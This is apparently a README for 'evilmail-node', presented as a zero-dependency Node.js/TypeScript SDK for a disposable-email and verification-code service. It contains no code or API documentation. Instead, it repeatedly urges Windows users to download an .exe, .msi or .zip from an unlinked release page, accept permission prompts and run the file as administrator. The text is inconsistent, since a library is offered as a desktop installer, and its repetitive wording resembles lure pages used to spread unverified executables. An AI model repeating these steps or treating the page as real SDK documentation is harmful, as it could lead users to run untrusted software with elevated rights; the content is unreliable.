evilmail-node is a Node.js and TypeScript SDK for the EvilMail API. It helps you work with disposable email addresses, read inbox messages, and handle verification codes from one place.
This repo fits users who want:
- temporary email addresses
- inbox access in a simple app flow
- email code checks for sign-up forms
- privacy-focused email use
- zero dependency setup
If you are on Windows and want to try the app, use the release page linked above to visit this page to download the latest version.
Before you start, make sure you have:
- a Windows PC
- a web browser
- a stable internet connection
- permission to download files on your device
- enough free disk space for the app and its data
If the release includes a Windows app file, you can usually run it right after download. If it comes as a zip file, you will need to extract it first.
Use this page to get the latest release:
On that page:
- Open the latest release
- Find the file made for Windows
- Download it to your computer
- Open the file you downloaded
- Follow the on-screen steps to finish setup
If you see more than one file, choose the one that matches Windows.
After the download ends:
- Go to your Downloads folder
- Find the file from the release page
- If it is a
.exefile, double-click it - If it is a
.zipfile, right-click it and choose Extract All - Open the extracted folder
- Start the app by double-clicking the main file
If Windows asks for permission to run the app, choose Yes.
Once the app is open, you can use it to manage temporary email tasks.
Common actions include:
- create a disposable inbox
- check for new emails
- read verification codes
- manage inbox items
- copy email addresses for site sign-ups
A simple flow looks like this:
- Open the app
- Create or load a temp inbox
- Use the email address on the site you want
- Wait for the message to arrive
- Open the inbox and read the code or email
- Copy what you need and move on
Create temporary email addresses for short-term use. This helps keep your main inbox separate from sign-up forms and one-time services.
View messages in a clean inbox view. You can check new mail, open messages, and remove items you no longer need.
Use the app to find email codes that services send during sign-up or login. This is useful for OTP checks and account verification.
The SDK is built with no extra runtime dependencies. That keeps setup simple and helps avoid package clutter.
The project works well for users who build tools with Node.js or TypeScript. It also fits small scripts and desktop flows.
Use temporary email addresses when you do not want to share your main inbox. That helps reduce spam in your personal email.
You may want this app if you:
- sign up for a site and do not want to use your main email
- need a code from an email message
- test a form that sends email
- want a short-lived inbox for one task
- want to keep your personal inbox clean
If the release includes a packaged Windows build, setup is simple:
- Visit the Releases page
- Download the latest Windows file
- Open the file
- Allow Windows to finish any setup prompts
- Start the app from the file or shortcut
If the release includes source files only, you may need Node.js before you can run it. In that case:
- Install Node.js on Windows
- Download the repo files or release package
- Open a command window in the project folder
- Run the app with the provided start command
- Follow the app prompts
You may see one of these file types in the release page:
.exe— double-click to run.zip— extract first, then open the app.msi— run the installer- source files — use only if you plan to run the project from Node.js
If you are not sure which file to pick, choose the Windows file with the .exe or .msi name.
Try these simple steps:
- Check that the file finished downloading
- Make sure you opened the right Windows file
- Right-click the file and choose Run as administrator
- Restart your computer and try again
- Download the file again from the release page
If the file came in a zip folder, make sure you extract it before you try to open it.
- Repository name: evilmail-node
- Type: Node.js / TypeScript SDK
- Focus: disposable email, inbox use, verification codes
- Design goal: zero dependencies
- Platform target: Windows use from release files
Open the Releases page to download the latest build
The SDK is useful when you want to work with the EvilMail API from Node.js or TypeScript. It helps you build tools that create temp inboxes, read messages, and handle email-based checks.
You can use it for:
- inbox fetching
- verification code lookup
- temporary email workflows
- simple API client tasks
- email automation inside a small app
Keep your downloaded file in a folder you can find later. If you plan to use it again, save the release file instead of deleting it after the first run.
If the release page has more than one asset, match the file name to your Windows system and choose the one that looks like the main app package.